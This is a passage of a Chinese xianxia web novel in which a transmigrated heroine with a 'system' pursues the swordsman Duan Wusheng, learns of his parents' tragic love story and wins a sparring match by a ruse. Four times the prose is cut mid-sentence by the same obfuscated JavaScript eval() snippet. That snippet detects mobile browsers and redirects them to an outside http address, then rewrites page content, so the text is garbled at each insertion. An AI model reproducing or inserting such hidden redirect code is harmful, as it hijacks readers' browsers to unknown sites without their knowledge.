李寒筝又看了一遍,十分确定:“一点红色都没有。” “那可真是太好了,”系统不紧不慢道:“这条手链共有七片叶子,代表你对段梧声的攻略进度,如果全部变成朱红色,则代表你攻略成功。现在全部都是绿色,你猜是代表什么呢?” 李寒筝搓了搓下巴:“这代表段梧声的审美非常值得担忧,竟然欣赏不了我这种完美又聪明的人。” 这样的回答很李寒筝,带着莫名其妙的自信。系统虽不意外,但依旧冷哼一声。 它道:“再补充一点,若红叶手链七片叶子全部变红,你可驱使攻略对象无条件完成你的一个愿望。” “听上去还不错,一下子拔高了我第二个任务的可行性,”李寒筝再次苍蝇搓手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177308|196917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“那么第二个奖励呢?” 系统道:“第二个奖励,你可以问我一个问题。” * 离开寒竹居后,段梧声径直去了掌门的香檀殿。 段凌戴着斗笠正在池边垂钓,段梧声没有出声打扰,只是沉默着站在段凌身边。 一刻钟过后,段凌仍旧一条鱼也没钓到,他叹了口气,放下竿子,道:“梧声,你方才在殿上所说,是真话吗?” 段梧声垂下眸,还未开口,段凌便摆摆手,道:“好了不必编了。” “此前拘束你良多……”段凌起了个话头却没再说下去,摩挲着手中的鱼竿好一会,将话题扯回来:“我知道你对当年的事情另有疑虑,梧声,这件事我不会过问。” 他顿了好一会,声音很轻但是神情却很认真,道:“只是,不要越过那条线。” 段梧声沉默半晌,“知道了。” * 从香檀殿离开,段梧声便去了镇厄司。 仙门乃是诸仙门和修仙世家联合创立,共分镇厄、太常、掌刑三司。 镇厄司主掌妖邪作乱,设立镇厄司,一来,是为了及时处理百姓上报的妖邪作乱事件,二来,也是取威震四方之意,以免魔族越过寒无海大肆入侵。 镇厄司由司厄统管全司,其下设有多名掌厄,分门别类处理各项事物,而具体处理妖邪事件的则称为秋使。 镇厄司内,掌厄们正聚在一起说话。 一人道:“我们司厄看着清清冷冷一人,怎么凭空冒出一个夫人?” 另一人道:“是啊,只不过那三年司厄确实不在暮山,这么说来,重伤失忆被人所救,也不是没有可能?” “如果是这样,那司厄怎么不声不响地离开,让那李姑娘不远千山万水寻了过来?” 这一问题难倒了在场诸位,其实不是难倒,而是不敢说出来。一时每人神色各异,互相对着心有灵犀的眼神。 原因嘛,无非那么几种,喜新厌旧,情感淡薄,恢复记忆后抛弃糟糠之妻呗,陈世美秦香莲的故事虽然唱得苦情,但天底下多的是这样的人。 只是没想到,看起来不染纤尘的司厄大人竟然会有这么一出艳遇。 啧啧啧。 掌厄张奎是个马大哈,看不懂这几人的眉眼官司,他皱起大粗眉思索良久,得出结论:“定是司厄大人又失忆了。” 这话像棉絮,呛得另外几人连连咳嗽,眼神都使抽筋了。 张奎摸摸脑袋:“你们眼睛抽筋了?” 他顺着同僚的目光往外看,门褴下,他们清清冷冷的司厄大人迎风而立,两袖微微拂起,黑白分明的眼睛平静地看过来。 蛐蛐上司被听个正着,尴尬得很,掌厄们低头如鹌鹑。 张奎不觉尴尬,兴高采烈地打招呼:“恭喜大人寻回夫人!” 诸掌厄:“……” 段梧声四平八稳走进去,目不斜视,掌厄们刚以为此事混过去了,松了一口气,却又听见声音从后传来。 “诸掌厄似乎很是清闲,不如将近十年的卷宗整理一遍。另外,暮山上下众弟子颇为懈怠,从即日开始,加练功课一个时辰。” 诸掌厄:“……” 14. 入我之局(1) 段梧声踏入事务阁,落座,从储物囊中取出一本书。 这书是今日他在演武场所得,未还给那名弟子,便随手塞入储物囊中。 看着封面上“葛生于野”四个字,段梧声轻轻拧眉,李寒筝的话再次浮现在他的脑海。 “葛生于野,汝生我心,葛藤弯弯绕绕在原野上生长,你在我的心上生长。” 一番剖白甚是深情,好似他们果真是情深义重的夫妻,谁知道,这只是他们第二次相见呢? 而第一次见面,她还是个无依无靠的孤女,不过一月,竟能将他逼到如此境地。 段梧声翻开书,一页一页开始看。 他看书的速度极快,一刻钟过去,就已经将话本通读一遍。 重伤失忆,帮扶叶家,克服波折,暗生情愫,拜堂成亲,不告而别。 这便是李寒筝编排的故事吗? 想起一路往镇厄司来,路过的弟子皆是神情怪异目光探究,甚至还有人小声道:“克服了诸多磨难,好不容易再见了,一定要在一起啊。” 段梧声凝眸沉思,按照正常人的标准,似乎,这话本确实情节曲折,引人入胜,很能让人感同身受,身临其境。 他回忆着书中情节,唇角微勾了些讽意。 只不过书中所载这三年,他确实不在暮山,他以下山历练之名,去了魔域。只是此事不得告知任何人,书中内容自然也只得默认。 可是,李寒筝为什么便拿定主意,他只能够默认呢? 段梧声以指轻轻敲击着桌面。 此时正厅中传来争论的声音。 一人道:“派出去三名秋使都无功而返,真是怪哉。” 另一人道:“一名秋使说找到的残肢上有秽种的气息,但追查了许久,将整个城都倒过来翻了一遍,却仍是没有寻到。” “怎会?秽种怎么可能抑制住饮肉喝血的欲望?” 段梧声走出去,淡声道:“发生了何事?” 张奎是主管这件事的掌厄,挠挠头,道:“一个叫做丹秋的小城,三年之内发生了三十四起失踪案,有秋使追查的时候发现了秽种的气息。” 段梧声思量几息,道:“将卷宗给我,此事我来处理。” 拿过卷宗,他步步朝山下走去,听见身后有人称赞。 “司厄大人真是勤勉啊,这是又出任务去了吧?” “这是自然,司厄大人心怀天下苍生,镇厄司中,就属司厄大人处理的任务最多也最难了。” “司厄大人年少英才,每次任务都完成得十分完美呢。” 段梧声听着这些赞叹,轻轻扯了下唇角,垂着眸,看向自己的手背,须臾,若无其事将袖袍扯下来挡过。 袖袍之下,淡金色的符文一闪而过。 * 要问的问题太多,李寒筝一时难以择断,时间临近傍晚,她决定先找点吃的。 这时袁期找过来,将她上上下下看了一遍,疑惑地皱起眉。 李寒筝一头雾水:“干嘛?” 袁期很是疑惑:“段梧声竟然没有打你?真是不应该呀。” 李寒筝无奈地叹了口气,并不打算与他争辩。 毕竟完美的人总是会遭到各种非议和歧视。 她已经习惯了,谁让她这么完美呢? 见李寒筝将宽大的袖子绑起来,袁期道:“你这又是干嘛?” 李寒筝理所当然道:“去弄点吃的呀。” 袁期嘴角抽搐:“都这个时候了你还想着这个,话说段梧声这么好说话么,竟然直接承认了,喂喂喂,你一点不担心人家又反悔么?我都担心人家直接把你杀人灭口。” “不担心,”李寒筝出门往外走:“去搞点吃的吗?” 袁期犹豫三秒,跟上去:“我路过看见有笋,搞点笋吧。” 两个人的野外经验都很丰富,袁期是个散修,四处漂泊,居无定所,荒野求生的经验很丰富。 李寒筝则从小是在山里长大的,对山里能吃的不能吃很是熟悉。 两人拔了点笋找了点野菜,又在溪里捞了条肥鱼。 寒竹居没有厨房,袁期点评道:“段梧声看起来就仙气飘飘的,辟谷之后肯定不屑于吃这些凡人吃食。” 两人分工合作用石头摞了一个灶台,又在林间拾了点柴火,袁期经常露宿荒野,储物囊里备了铁锅大铲和碗,以及各种佐料。 这下灶台和厨具都有了,一应具备,便开火做饭。 裴玉仪过来的时候,看到的便是这幅画面。 在她印象中,在南熙城有过一面之缘的袁期道友高冷桀骜,看起来便不好相与,像个独行侠客。 而李寒筝虽然表现出了过人的聪明机敏,但是养在深闺多年,没有修仙天赋,又兼身世坎坷,是位柔弱深情的痴女子。 而现在她看见,两个人不顾形象地蹲在地上,眼巴巴地看着土灶台上的锅。 裴玉仪:“……” 她出现的同时,另外两个人也发现了。 袁期内心波涛汹涌,但是处于莫名的羞涩,他高冷着一张脸没说话。 李寒筝则招了招手,兴高采烈:“裴姐姐,吃饭了吗?一起吃点吧?” 此时,烹饪的时长差不多了,浓郁的鱼肉香气和清新的鲜笋香气散发出来。 于是三人一起坐下来吃鲜笋炖鱼。 吃完了饭,裴玉仪想起正事,她看向李寒筝,道:“阿筝放心,师弟为人正直,持节守礼,定是因为其中出了什么问题,才没有在南熙城认出你。” 李寒筝捏着筷子,有点愣,“啊?” 裴玉仪又道:“只不过师弟行事未免太过呆板,任务交给旁人做也可以,怎么能把你人不生地不熟地扔在这里?” 李寒筝:“啊?” 裴玉仪看着她的目光里满是敬佩,道:“那本话本我看了,阿筝,你一定很辛苦了,千里迢迢山高水长,走了那么多路,才终于找到师弟。” 李寒筝挠了挠脸颊,她有点明白了。 裴玉仪估计是已经相信她的说辞了,并且自动认为南熙城一见,是因为段梧声没认出她,所以她黯然伤心没有在那个时候相认。 啊。 裴玉仪有点好骗的样子。 李寒筝一把握住裴玉仪的手,故作悲伤道:“裴姐姐,幸好有你这么相信我……” 袁期:“……” * 事实证明,裴玉仪真的很好骗,她主动揽起了带她熟悉暮山的责任,并且对袁期是她义兄一事深信不疑,带着他去安排 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177309|196917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了住宿。 李寒筝吃饱喝足,原地走动消了会食。 修仙世界很是奇妙,飞天遁地,劈山分海,无所不能,但是也有一个缺点,就是没有手机和网络。 既然段梧声不在,李寒筝也不好动他的藏书。 多亏系统十分喜欢读书,她买了不少书放在储物囊,各种类型的都有,店家见她买得多,还赠送了几本十分热门的话本。 李寒筝看了会话本,便打算入睡。 段梧声的居所里只有一张床,李寒筝嘀咕了句“这我可不是故意的,谁让你不多放一张床呢”,便毫无心理负担地躺了上去。 被子柔软,带着浅淡的草木清香。 李寒筝闭了一会眼睛,忽然想到了她要问的问题。 她转动眼睛,看向系统,道:“我想知道段梧声父母的过往。” 根据她一千五百个学识的经验,攻略对象一般都有着深沉的过往,而这过往一般和父母有关。 系统淡声道:“所有问题,我只能回答我知道的内容,你确定要问这个?” “确定。” * 这是一个不是很长的故事,系统讲述得很简略。 段梧声的父亲名为段洵,不仅天赋卓越,而且刻苦修行,专注剑道,年纪轻轻便成为了暮山首座,同时也是段家的少家主。 这样的人,家世优越,容貌过人,修为高深,可谓样样完美,只有一个缺点。 那就是太倔了。 他修行剑道,所谓剑道,就是将身心都悬在剑尖上,信奉的是一剑在手,无坚不摧。 也因此,他的人和他的剑一样硬,是非黑白,皆有定论,毫无转圜余地。 李寒筝听到这,点评道:“这样岂不是容易招人恨?” 段洵确实招人恨。 他向来寡言少语,而一旦说话,便会十分直白。正因直白,所以会显得刺耳。 因为这一点,他时常受罚。 受罚最严重的一次,是因为伤了一个长老的独子。 这位长老之子曾对段洵多次出言挑衅,段洵不过略施惩戒,但由于这位长老颇有权势和威望,小伤也变成了大伤,因此段洵被罚去同悲崖打扫三年的卫生。 所谓同悲崖,是暮山专门关押罪犯的地方。 崖上垂着无数条锈迹斑斑的铁链,沿着铁链是无数的洞穴,以铁栏相隔,布置了隔绝术诀的阵法。 段洵坚持自己的道,对这些刑罚向来不以为意。然而在同悲崖,他遇见了一个未来会让他道心破碎的人。 这个人名叫楼樱,未来的未来,她会成为魔域历史上堪称石破天惊的一位魔君,但此时,她只是关押在同悲崖里的一个可怜囚犯,因为没有人说话而磨了一面镜子,对着镜子整日感叹大好年华就此虚度。 李寒筝挑眉:“正道仙君和美艳女魔头,经典cp诶。” 初次见面,楼樱十分兴奋,她终于不用对着镜子说话了,她见到了一个活人。 但很可惜,段洵是个沉默寡言的人。 楼樱叽里呱啦说了一大堆,他连个嗯字都不带回。 楼樱不是很在意,依旧自顾自地和他说话,开场第一句话便是:“呦,好俊俏的小仙君,大好年华,要不要同我双修呀?” 15. 入我之局(2) 这句话给段洵带来了一定的震撼。 震撼之余,便是觉得这个人轻浮浪荡。 是以段洵从来不回应楼樱的话语。 他以为这样能够让楼樱知难而退。 但是很显然,他低估了楼樱的话唠程度,毕竟这是个能和镜子里的自己对骂的狠人。 段洵不回答,她就胡言乱语开始编:“我知道了,定是我太美貌了,你自卑,不敢抬头看我,也不敢和我说话。” 她能够从段洵的发带说到段洵的鞋子,当然,更多时候她在绘声绘色地描述曾经吃过的美食,从酱板鸭说到小笼包,从葱油饼说到牛肉面,然后用那双水汪汪的大眼睛可怜巴巴地看着段洵,“小仙君,给我点吃的吧。” 段洵早已辟谷,不能理解为何一个魔头对食物如此执着,然而楼樱实在太吵,他每日辰时开始打扫同悲崖,大约巳时三刻进入能够听见楼樱声音的范畴,巳时五刻看见楼樱可怜巴巴的眼睛,直到巳时七刻才能完全听不见楼樱的声音。 也就是说,每日足足要被楼樱吵上三刻。 段洵终于妥协,给楼樱带了一只荷叶鸡。他以为这便是结束了,没想到这只是开始,楼樱说得更加起劲了,从每日三刻说到每日四刻。 楼樱的声音很好听,像长风吹过梧桐树,某日段洵夜间打坐,听见风吹梧桐树的声音,恍若听见楼樱叽叽喳喳地说话。 他分不清到底是因为楼樱太吵了,还是他突然变善良了,反正反应过来的时候,就已经每日给楼樱带吃食了。 他也分不清到底是自己的修为下降了,还是同悲涯变得更脏了,平日里三刻钟就能打扫完的地方,后来用上一个时辰也打扫不完。 楼樱便开始得寸进尺,报一堆菜名然后再次可怜巴巴地看他。 她只有这一招,却屡试不爽。段洵绷着脸说绝对不可能,另一日却老老实实将楼樱所说的一样不落地带了过来,楼樱便笑,笑得两眼弯弯,像是有星辰在闪烁。 段洵觉得,楼樱的笑容比可怜巴巴更有效。 那一天他第一次走进楼樱的洞穴。 楼樱笑盈盈地托腮看他:“你来干什么?” 段洵盯着她的眼睛:“你不是想同我双修吗?” 楼樱以为这是春风一度,但是于段洵而言,楼樱是他此生认定的妻子。 想要将一个罪大恶极的囚犯从同悲崖里带出来,是十分困难的,须得闯过七十二道杀戮法阵和八十一道迷障,还要孤身一人走过荆棘遍布刀刃载途的一千级台阶。 同门和师长都认为他疯掉了,纷纷劝说,何必为了一个女魔头而如此折磨自己。 又劝说,魔族最是喜怒无常,情感淡薄,他们不会爱上一个人,也不懂爱人。 可是段洵太倔,他认定了什么便不会改。 七十二道杀戮法阵,八十一道迷障,一千级台阶。 他进去了七天七夜,走出来的时候一身白衣染成了红色,滴滴答答地往下淌血。 但他仍是微笑的,一步一步,踉跄而满怀喜悦地走向阶梯尽头的楼樱。 他抱住楼樱,然后迎来了穿心的一剑。 他的人便如同他的剑一样硬,太硬的东西,最好一丝一毫裂痕都不要有。 一旦有了裂痕,轻易便会粉骨碎身。 * 李寒筝摸了摸下巴,不确定道:“这样看来,楼樱像是故意引诱段洵,目的就是为了脱离同悲崖回到魔域。” 系统声音淡淡:“或许。” 李寒筝啧了声,又问:“这到底是地域歧视还是别的,魔族之人,真的都这么心狠手辣寡情冷心吗?” 系统唔了声,给了肯定的回答:“魔族之人大多天生好战,极度凉薄,他们大多没有什么道德束缚,尊崇的是以武为尊。” 李寒筝觉得有点神奇,问:“之后呢?” 之后的事情基本上众人皆知。 段洵足足昏迷了十年才醒来,在此期间,楼樱回到魔域平定内乱,段洵醒来的那一天,楼樱登上了魔君的王座。 九年后,仙域和魔域再次爆发战乱,魔域实力强大,仙域不敌,段洵因此出山,担任仙盟盟主,于魔域断生崖和魔君楼樱同归于尽,是以那一场极度惨烈的仙魔大战,得名为断生之战。 “那段梧声呢?”李寒筝问。 系统道:“段梧声是楼樱回到魔域后生下来的,他的存在一直以来很少人知道,后来断生之战爆发,段梧声的去向彻底无人知晓。直到他在无方城再一次出现,而后就被段凌带回了暮山。” 李寒筝叹了口气,“看来段梧声父母的这条线还蛮惨的。” 原书中对于段梧声过往的刻画并不多,大多作为段梧声秽种身份的注解,只用寥寥几句交待了他父母的身份,具体内容却并没有铺展开。 而这寥寥几句,却是横跨了二十多年的爱恨情仇。 * 另日清晨,裴玉仪领着李寒筝和袁期去了膳堂。 暮山也是有膳堂的,为还未辟谷的弟子提供。 修行一途,注重清心寡欲,自然不能贪口腹之欲。 因此膳堂的吃食也十分的……一般。 李寒筝从未见过这么失败的馄饨,不放葱花紫菜虾米也就罢了,汤如白水,毫无鲜味,馄饨肉也寡淡无味,味同嚼蜡。 她生无可恋地吃了口,忍不住道:“裴姐姐,吃馄饨没有辣椒酱吗?” 裴玉仪话里带了点不好意思:“没有。” “醋呢?” 裴玉仪更不好意思了:“……还是没有。” 李寒筝微微睁大了眼睛,叹道:“丧心病狂,简直丧心病狂。” “呃……膳堂的大师傅说要追求本真自源,呈现食物本身的味道。”裴玉仪咳了声,道:“味道虽是不佳,但所有食材都是在灵气荟萃之地生长,所用之水是山上灵泉,能够帮助未辟谷的弟子提升修为。” 李寒筝觉得有点暴殄天物,她看出来了,这膳堂就是单纯地用白水煮一切,就跟现代的减肥餐似的,主打一个寡淡无味且难吃。 李寒筝打算找袁期要点辣椒酱,发现袁期已经不动声色把馄饨吃完了,顿时肃然起敬。 估计现在给他塞截木头,他都能嘎巴嘎巴吃掉吧。这人自裴玉仪出现后就保持一种高冷寡言的状态,逼格拉得十足,实际上估计是已经紧张到不知说什么话了。 三人吃饭的时候,周围的弟子也在观察他们。 主要是观察李寒筝。 毕竟昨日发生的事情实在是太炸裂了,如同蝗虫过境般传遍了整个暮山。 “这就是段师兄的夫人吗?看样子是个没有修为的凡人。” “据说几年前段师兄下山游历,重伤失忆后被她所救。” “该不会是挟恩图报?之前那么多漂亮的女修追求段师兄,其中不乏掌门之女长老之女,都不能让段师兄心动,一个凡人,怎么可能得到段师兄的青睐?” “那本书呢?据说是这凡人写来寻找段师兄的。” “估计是瞎编的。” “可是段师兄昨日在大殿上也承认了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177310|196917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 议论声不绝于耳,平时门可罗雀的膳堂一下子热闹起来。 裴玉仪清咳了一声,将所有议论声压下去,只不过片刻寂静之后,议论声很快就又浮起来,如同烧开的沸锅一般,一个泡泡戳破了,还有无数泡泡正在冒出来。 李寒筝也无所谓,她找袁期要了罐辣椒酱和醋,就着吃完了馄饨,便拍了拍手,道:“裴姐姐,现在我们去哪?” 三人走出膳堂,路过的弟子均好奇地打量着李寒筝,目光亮得如同记者的闪光灯,非得撕下一点八卦绯闻不可。 出膳堂,又走了半刻钟,便到了演武场。 此时一把剑斜飞而来,直插入李寒筝脚边的青色石砖中,霎时间,裂缝如同蜘蛛网般蔓延开来。不难想象,如果这把剑插到人身上,会是怎样的后果。 “真是好不意思,手滑了。” 一个人影从高台上跃下来,马尾高束,身形矫捷,穿着一身灼灼的红色劲装,她偏过头,对着裴玉仪恭敬地叫了句“大师姐”,而后目光滑到李寒筝身上,带着明晃晃的挑衅:“听说,你是段师兄的夫人?” 李寒筝心道,来了。 原文中爱慕段梧声的女二,骄纵明媚的洛家少家主,洛意。 修真界以五大修仙世家为尊,裴、段、洛、袁、谢。裴家善刀,段家善剑,洛家善符,袁家善医,谢家善阵,五大世家共同创立仙盟,而暮山则是仙盟的附属学宫。 “铮”地一声嗡鸣,深插在地面的长剑咻地回到洛意手中,她握住剑柄挽了个剑花,剑尖直指李寒筝的方向,歪了歪头:“段师兄的夫人总不可能是一个毫无修为的凡人,喂,你敢不敢和我比试一番?” 演武场本就人多,洛意一下战书,围观的人更多了,聚集在四周,七嘴八舌议论着。 “这李寒筝就是一个凡人,肯定打不过洛师姐。” “也太惨了,直接认输吧。” “该,没有修为的凡人怎么配做段师兄的夫人?” …… 裴玉仪上前一步,环视四周,大师姐的威严还是在的,她这一眼,压下了不绝于耳的议论之声。 裴玉仪看向洛意,轻轻皱了皱眉。 她不能说李寒筝没有修为打不过她,因为山上弟子本就对寒筝有歧视偏见,若她这般说,寒筝的处境会更加艰难。 裴玉仪顿了顿,道:“师妹,寒筝初来乍到,又是梧声的妻子,你怎能如此失礼。” 洛意微扬下巴,“这怎么叫失礼?暮山上同门相互切磋不是很正常的事么?她想要做师兄的夫人,怎么能这点事都要躲着?放心师姐,我会点到即止。” 李寒筝相信,依照洛意的性格,她确实会点到即止。 因为洛意的目的只是让她在众目睽睽之下被轻易打败,从而觉得羞愧,然后知难而退。 袁期偏过头,小声道:“要不要我代你出战?反正我现在是你的义兄,也合理。” 李寒筝摇了摇头,而后望定洛意,平静道:“我确实是一个没有任何修为的凡人。” 众人心下暗暗嘲讽。 这是个事实,虽然众所周知,但到底不是当面讲,还能够装作没听见,只不过没想到她能够主动说出来。 是要直接认输吗? 洛意嗤笑一声:“这就认输了?怕成这样?暮山上可没有一个人会不战而败,你敢说自己是师兄的妻子,怎么不敢同我比试一二?” 话语中嘲讽之意明显。 李寒筝不紧不慢道:“所以我们不用灵力不用武器进行比试。” 16. 入我之局(3) 这话委实出人意料,围观众人不由得惊讶起来。 “她疯掉了?洛师姐六境修为,少时便赤手空拳去妖兽林试炼,就算是不用灵力进行比试,也能够空手劈碎巨石。” “上次我向洛师姐讨教,过了足足半个月才能勉强下床,唉,自求多福吧。” 洛意冷哼一声,“还算有点血性。” 她将长剑收回灵台,道:“我也不为难你,我惯用右手,那么这场比试,我便不用右手。” 言毕,她脚尖轻点,跃上比武台:“为示公平,师姐,你来设置禁用灵力的阵法,如何?” 裴玉仪没有第一时间回答这个问题,她目含担忧地看向李寒筝,道:“寒筝,你确定吗?” 她知道李寒筝聪敏镇静,向来很有决断,若是她确定,那么必定是有一定的把握。 李寒筝朝她笑了笑,“放心吧,我不是意气用事。” “这还不叫意气用事,”袁期哼了声,他亲自教导了李寒筝一个月,没有谁比他更知道李寒筝现在的水平。 袁期虽然冷哼,但是也觉得理应应战,这不是意气用事,而是心气,敌人都叫嚣到眼前,怎可不应战? 裴玉仪已经开始双手结印构筑法阵了,袁期抓紧时间嘱咐了两句:“估计你也不太懂这种比试的规则,听好了,这种比试有两种输法,一是主动认输,二是掉下比武台,其他的只要不出人命就什么都可以,没有别的限制。” “你最好不要硬刚,打不赢就绕着比武场转圈,别怕丢脸,不过估计你也不会觉得丢脸。” 他想起什么,补了一句:“输了就输了,咱不丢人,你输了我就挑战她,给你赢回来。” “放心,”李寒筝走向比武台,“我肯定赢。” 袁期:“……” 这么狂? 李寒筝站上比武台,压制灵力的法阵正式生效。 一时风声俱静,落叶无声。 裴玉仪呼出一口气,道:“比试开始。” 洛意没动,她右手背在身后,伸出左手招了招,十足的轻视:“你来。” 她并不打算很快就结束这场战斗,而是要温水煮青蛙一样慢慢来,让李寒筝意识到什么是全面性的碾压,好教她知道,她同段师兄是云泥之别,最好收起那些乱七八糟的歪心思。 段师兄,不是区区一个柔弱的凡人女子可以奢望的。能够有资格站在段师兄身边的,除非是裴师姐,否则她都不认。 既然洛意这么说,李寒筝便开始动了。 对于她这种层次的人,什么敌不动我不动的理论根本没用,还不如勇敢一点,直接上。 过去一个月的训练里,她练得最好的是手,因为发暗器的手得稳,因此她选择的第一招是后直拳。 后脚蹬直,身体做轴向前旋转,同时出拳。 洛意唇角轻勾,“呦,还有点招式嘛,”她侧头一躲,左掌飞出,猛地一切。 李寒筝只觉得右手手肘麻了一半。洛意太快了,她根本打不到她,而洛意却能够一眼看出她的招式并及时应对。 李寒筝后退半步,甩了甩发麻的手。 幸好洛意想看的是她每一次竭尽全力都徒劳无功的样子,所以甚至没有趁机进攻,仍旧站在原地,姿态闲散。 李寒筝吐出一口气,左右出拳,皆被洛意躲过,她旋身蓄力,挥出右拳,洛意只轻飘飘地出左掌一切,而后化掌为拳,一拳正中李寒筝腹部。 李寒筝反应过来的时候,已经飞出了三米,重重摔落在地,全身像敲碎了一样。 洛意轻笑一声,“三脚猫的功夫,破绽百出,怎么,你就只能够这样了?” 李寒筝双手撑地爬起来,目光直视洛意。 其实她知道,一个月的训练绝对抵不过洛意经年累月的勤学苦练,这种一对一的正面战斗她绝对赢不了。 裴玉仪在台下看着,紧紧皱起了眉。袁期也有点看不下去,长叹一口气。 这时李寒筝已经被打飞出去十多次了。 她不断地爬起来,冲上去,进攻,被打飞,而后再次爬起来,冲上去,挥拳进攻……如此反复,身上也多了一道道伤痕,杏黄色的衣裙染上脏污,发髻凌乱,额发湿哒哒地黏在瓷白的脸上。 每一次重重砸在地上,都叫人疑心是不是听见了骨头碎裂的声音。每一次她都是静默无声地在地上躺一会,一句呻吟都没叫出来,而后再次从地上爬起来,冲上去,发出进攻。 洛意并没有凌虐的爱好,每一次把李寒筝打飞,她总会耐着性子道一句:“认输吧,你赢不了的。” 可是李寒筝总是一声不吭,再次从地上爬起来,像个幽灵。 洛意有些怵了,好声好气真心实意道:“李姑娘,认输吧,你已经很可以了,我承认,你很有心气,我也承认,是我小瞧了你,所以,认输吧,别再坚持了,行不行?” 只是回应她的总是沉默和再一次进攻。 袁期在台下焦躁地踱着步,他没想到李寒筝看着没心没肺的样子,打起架来简直跟不要命一样。 虽然他时常看不上李寒筝,但这并不代表他能眼睁睁地看着别人欺负她。 放弃吧,他心道,我会帮你赢回来的。 眼看李寒筝再一次飞出去,袁期忍不住道:“裴道友,打开禁制吧,这样下去李寒筝非得丢半条命不可。” 裴玉仪轻轻摇头,一眼不错地留心着比武台上的情况,道:“这是寒筝的坚持,我没有办法替她做决定。” 围观的其他人也觉得有些惨不忍睹了,纷纷摇头叹息。 “太惨了,干嘛不认输呢,坚持到现在已经很可以了。” “也算得上心性坚韧了。” “心性坚韧又如何,她没有任何修行的天赋,是配不上段师兄的。” “好执拗一人,明明是没有任何意义的坚持嘛。” 看着李寒筝吐血吐得血呲呼啦,杏黄色的衣襟染红一片,洛意开始担心她死在比武台上了。 算了,听不见她亲口说认输就不听了。 李寒筝再一次出手进攻的时候,洛意用了巧力,能够径直把李寒筝打下比武台,但是不会受伤很重。 经过如此大的消耗,李寒筝已经很虚弱了,她没能防住这看起来就意图明显的一击,整个人飞了出去。 看着李寒筝掉下比武台,洛意松了一口气,走到比武台边缘,打算看一眼李寒筝如何了。 如果法阵没有隔绝声音,那么洛意或许能够察觉到不对劲。 只不过为了防止外界的干扰,比武台的禁制会隔绝一切声音。 而洛意已经有了先入为主的印象,认为李寒筝已经重伤到神志不清。 因此她并不知道李寒筝一直在等待着这一击。 洛意毫无所觉地一步一步靠近比武场的边缘。 此时,一条发带咻地缠上了她的脚踝,而后猛地往前一拉。 洛意毫无防备地往前坠去。 等她从地上爬起来,只听见裴玉仪宣布:“李寒筝获胜。” 全场皆静。 什么! 洛意不可置信地转头,却见李寒筝单手悬挂在比武台侧壁的凸起上,墨发披散,身形摇摇欲坠,却始终没有掉下来。 听见裴玉仪的声音,李寒筝哽着的一口气吐了出来。 她对自己很有自知之明,知道差距太大怎么也赢不了。因此她必须赌。 赌洛意会直接把她打下比武台。 赌她能够扒出比武台侧壁的凸起。 赌洛意认定自己胜券 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177311|196917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在握,毫无防备地走近察看。 赌她能够用发带缠住洛意的脚踝。 而最后一步她肯定自己能做到。 她在山谷里抓了半个月的透明灵蝶,最开始的几天她毫无头绪,后面她渐渐发现,用眼睛去看还不够,还要用耳朵去听。 她通过脚步声确定了洛意的位置,而后甩动发带,抓住时机猛地往下拽。 一环扣着一环,每一步都不能错。 所幸,她赌赢了。 李寒筝放心地松开手,从空中坠下来。 裴玉仪一直留意着,此刻动作迅速地上前接住,第一时间喂了她三颗含元丹,又在她身体各处贴了止血符和治愈符。 李寒筝躺在裴玉仪怀里,双眼发亮地笑起来:“我赢了。” 她脸上都是红肿的伤口,额上浮着汗,黑发黏在颊上,狼狈得很,说话时脸上贴着的三张符纸起起落落,显得很是滑稽,却有一种说不出来的神采飞扬,耀目得很。 裴玉仪嗯了一声:“你赢了,很棒。” 袁期在她肩膀上戳了下,笑道:“李寒筝,有你的呀。” 裴玉仪扶着李寒筝站起来,嘱咐道:“你伤得很重,虽然及时吃了含元丹,也贴了符纸,但是回去之后最好修养一段时间。” 李寒筝享受着被搀扶的待遇,鼻青脸肿却笑容灿烂,此时,身后一声大喝。 “站住!” 李寒筝回头看,洛意站在不远处,气得双眼像是燃着火苗。 